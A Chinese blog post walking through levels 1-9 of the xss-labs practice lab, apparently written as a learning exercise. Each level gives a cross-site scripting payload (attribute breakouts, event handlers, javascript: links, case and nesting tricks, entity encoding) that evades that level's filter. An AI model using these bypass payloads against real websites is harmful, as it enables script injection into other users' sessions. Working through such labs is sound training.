xss-labs level 1-9 解题过程

level 1

过程

网页中并没有输入框,观察URL发现name=test,尝试在此进行注入
http://127.0.0.1:82/level1.php?name=<script>alert(1)</script>

过关

payload

<script>alert(1)</script>

level 2

过程

输入框先尝试输入<script>alert(1)</script>无反应

观察源码:
<input name=keyword value="<script>alert(1)</script>">

发现需要闭合,输入"><script>alert(1)</script><"

过关

payload

"><script>alert(1)</script><"

level 3

过程

一样先尝试<script>alert(1)</script>

观察源码:
<input name=keyword value='&lt;script&gt;alert(1)&lt;/script&gt;'>

发现<>被转义了,无法构造标签,于是改变思路,在源码中的input元素中使用onclick参数来达到点击弹窗的效果:
onclick='alert(1)'

同样需要进行闭合

payload

' onclick='alert(1)

level 4

过程

与上一关相似,只在闭合上有所区别,是双引号闭合

payload

" onclick="alert(1)

level 5

过程

尝试后发现on事件与<script>标签都被过滤
image

<>符号没被过滤,于是尝试换标签,尝试后发现:
<a href="javascript:alert(1)">click</a>

成功

payload

"><a href="javascript:alert(1)">click</a><

leval 6

过程

上题中的href属性也被过滤,但再一试,发现并没有过滤大小写

payload

"><a Href="javascript:alert(1)">click</a><

leval 7

过程

这次对文本的过滤是直接删除,于是可以进行嵌套

比如scrscriptipt,这样过滤后就成为了所需的script

payload

"><scrscriptipt>alert(1)</scrscriptipt><"

leval 8

过程

看源码发现输入被放在了href属性里:
</center><center><BR><a href="http://www.baidu.com">友情链接</a></center><center><img src=level8.jpg></center>

所以第一时间想到用javascript:alert(1)

但是script被文本过滤了,于是采用unicode编码
image

payload

java&#115;&#99;&#114;&#105;&#112;&#116;&#10;:alert(1)

leval 9

过程

真不会了,搜了题解发现payload中要包含http://,可以利用//注释

payload

java&#115;&#99;&#114;&#105;&#112;&#116;&#10;:alert(1) //http://

posted @ 2023-11-01 14:15  dddon  阅读(28)  评论(0编辑  收藏  举报